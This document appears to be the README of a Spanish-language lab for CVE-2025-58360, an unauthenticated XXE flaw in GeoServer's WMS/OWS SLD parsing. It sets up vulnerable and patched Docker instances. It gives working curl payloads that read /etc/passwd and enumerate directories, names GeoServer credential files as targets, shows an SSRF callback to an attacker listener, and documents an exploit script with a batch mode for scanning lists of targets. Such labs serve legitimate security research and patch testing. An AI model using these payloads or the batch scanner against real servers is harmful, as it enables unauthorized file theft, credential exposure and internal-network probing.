
Inyección no autenticada de entidad externa XML (XXE) en los servicios OWS/WMS de GeoServer
CVSS: 9.8 CRITICAL
Afectadas: <= 2.25.5, 2.26.0-2.26.1
Corregidas: 2.25.6+, 2.26.2+, 2.27.0+
Este laboratorio demuestra CVE-2025-58360, una vulnerabilidad crítica de XXE en el manejo de solicitudes XML WMS/OWS de GeoServer. La vulnerabilidad permite a atacantes no autenticados:
El método SLDParser.parseSLD() de GeoServer procesa documentos de estilo XML sin restricciones adecuadas de resolución de entidades. Mientras que el despachador OWS usa AllowListEntityResolver para bloquear XXE, la ruta de código de análisis SLD omite esta protección:
POST /geoserver/ows?service=WMS&request=GetMap
|
v
+-----------------------------+
| OWS Dispatcher | <-- EntityResolver configured
| (Detects SLD in body) |
+-----------------------------+
|
v
+-----------------------------+
| SLDXmlRequestReader |
| -> SLDHandler.parse() |
| -> SLDParser.parseSLD() | <-- NO EntityResolver!
+-----------------------------+
|
v
XXE RESOLVED -> File/SSRF
# Start both vulnerable and patched instances
docker-compose up -d
# Vulnerable: http://localhost:8080/geoserver
# Patched: http://localhost:8081/geoserver
# Wait ~60 seconds for startup
Credenciales por defecto: admin / geoserver
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
Respuesta vulnerable:
<ServiceException>
Unknown layer: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</ServiceException>
Respuesta corregida:
<ServiceException>
Entity resolution disallowed for file:///etc/passwd
</ServiceException>
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml
El controlador file:// de Java lee los directorios como listas de archivos separadas por nuevas líneas:
# List root directory
python3 exploit.py -u http://localhost:8080 --file /
# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/
Salida:
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...
Esto permite la enumeración completa del sistema de archivos antes de apuntar a archivos específicos.
# Start listener
nc -lvnp 9999
# Send payload
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
# Version check
python3 exploit.py -u http://localhost:8080
# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe
# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd
# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback
# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v
# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py
Actualice a GeoServer 2.25.6+, 2.26.2+ o 2.27.0+.
Solo para pruebas de seguridad autorizadas y fines educativos.
El Perro Joke